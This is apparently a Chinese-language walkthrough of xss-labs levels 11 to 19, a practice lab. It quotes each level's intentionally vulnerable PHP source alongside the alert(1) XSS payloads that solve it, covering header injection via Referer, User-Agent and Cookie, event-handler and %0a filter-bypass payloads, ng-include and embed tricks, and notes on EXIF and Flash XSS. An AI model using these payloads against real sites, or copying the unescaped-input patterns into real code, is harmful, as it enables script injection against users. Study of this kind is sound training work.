文章目录
前言
第11关:referer
查看网页源代码
抓包
修改,放包
Referer: 111" onclick="alert(1)" type="text
浏览器效果
下一关
源码
<?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str00 = $_GET["t_sort"]; $str11=$_SERVER['HTTP_REFERER']; //可传入的参数,可能需要抓包才能修改 $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"> <input name="t_ref" value="'.$str33.'" type="hidden"> //注入点 </form> </center>'; ?>
第12关:User-Agent
看源码,跟user-agent有关
抓包修改
User-Agent: 111" onclick="alert(1)" type="
查看网页源代码,点击输入框即可通关
源码
<?php ...... $str11=$_SERVER['HTTP_USER_AGENT']; //注入点 $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); ...... <input name="t_ua" value="'.$str33.'" type="hidden"> //能浏览器加载的地方 ...... ?>
第13关:cookie
看网页源代码,跟cookie有关
浏览器新建cookie(或者抓包修改也可以)
user: 111" onclick="alert(1)" type="
刷新加载
源码
<?php setcookie("user", "call me maybe?", time()+3600); ...... $str11=$_COOKIE["user"]; //注入点 ...... <input name="t_cook" value="'.$str33.'" type="hidden"> ...... ?>
第14关:exif xss
emmm,这关需要自己找环境复现。
exif xss介绍
exif
可交换图像文件格式(英语:Exchangeable image file format,官方简称Exif),是专门为数码相机的照片设定的文件格式,可以记录数码照片的属性信息和拍摄数据。
因为有些网站可以读取exif 信息,当传入一张含有恶意信息的图片的时候,就可以触发恶意代码。
制作恶意图片
截图不行,无法写入
这张图片时手机拍的,可以写入
可以读取exif信息的网址
https://www.sojson.com/image/exif.html
https://exifdata.com/
第15关:ng-include
-
可以在
html
文件中包含外部的html
文件特别注意:
ng-include,如果单纯指定地址,必须要加引号
'
ng-include,加载外部html,script标签中的内容不执行
ng-include,加载外部html,含有style标签样式可以识别 改变参数,观测效果
文件包含进来了,使用
'
,看特别注意1
为什么包含php文件也可以?
应该是把php文件执行后生成的html文件包含进来的。
加入参数进行测试,有回显
传入
<script>alert(1)</script>
进行测试,但是不执行,看特别注意2?src='level1.php?name=<script>alert(1)</script>'
传入
<img src=1 onerror=alert(1)>
进行测试,看特别注意3,进入下一关?src='level1.php?name=<img src=1 onerror=alert(1)>'
源码
<?php ini_set("display_errors", 0); $str = $_GET["src"]; echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>'; ?>
第16关
源码
<?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); //小写,注入点 $str2=str_replace("script"," ",$str); //将script替换为 不使用script即可 $str3=str_replace(" "," ",$str2); //将空格替换为 用%0a代替 $str4=str_replace("/"," ",$str3); //将/替换为 可以用单标签进行绕过 $str5=str_replace(" "," ",$str4); //将空格替换为 echo "<center>".$str5."</center>"; //浏览器加载注入代码 ?>
测试,观测浏览器加载效果和网页源代码
payload
<img src=1 onerror=alert(1)> <img src=1 onclick=alert(1)> ---------------------------------- 用%0a替换空格 <img%0asrc=1%0aonerror=alert(1)> <img%0asrc=1%0aonclick=alert(1)>
-
onerror 事件在加载外部文件(文档或图像)发生错误时触发。
在img 这个标签无法正常执行的时候触发,所以这里的src 我们随便填一个不存在的地址,就可以触发后面的弹窗了。 下一关
第17关
源码
<body> <h1 align=center>欢迎来到level17</h1> <?php ini_set("display_errors", 0); echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>"; ?> <h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2> </body>
测试
<embed>
标签引入一个swf文件到浏览器端,并且它的src属性值没有添加引号,所以不用闭合,可以利用。
传入
<script>alert(1)</script>
进行测试
传入
onclick=alert(1)
进行测试
进行测试
用
onclick=alert(1)
不行,用onmouseover=alert(1)
下一关
第18关
- 同17关,虽然不支持插件,但是不影响
第19关:flash xss
供参考已复现成功的文章
XSS-labs Level 19 Flash XSS
XSS之xss-labs-level19本人的尝试失败,以下经验仅供参考
flash xss 原理
flash有可以调用
js
的函数,也就是可以和js
进行通信。使用flash的这些函数时,如果传入恶意XSS代码,并调用js进行解析,此时会触发XSS攻击。因此这些函数如果使用不当也是会造成xss的。
常见的可触发xss的危险函数有:getURL、navigateToURL、ExternalInterface.call、htmlText、loadMovie等等。测试
不能用
"
直接参考别人的payload
用IE浏览器打开,自动跳转成Microsoft edge,修改设置
IE浏览器访问,但是浏览器自动禁止了XSS
没了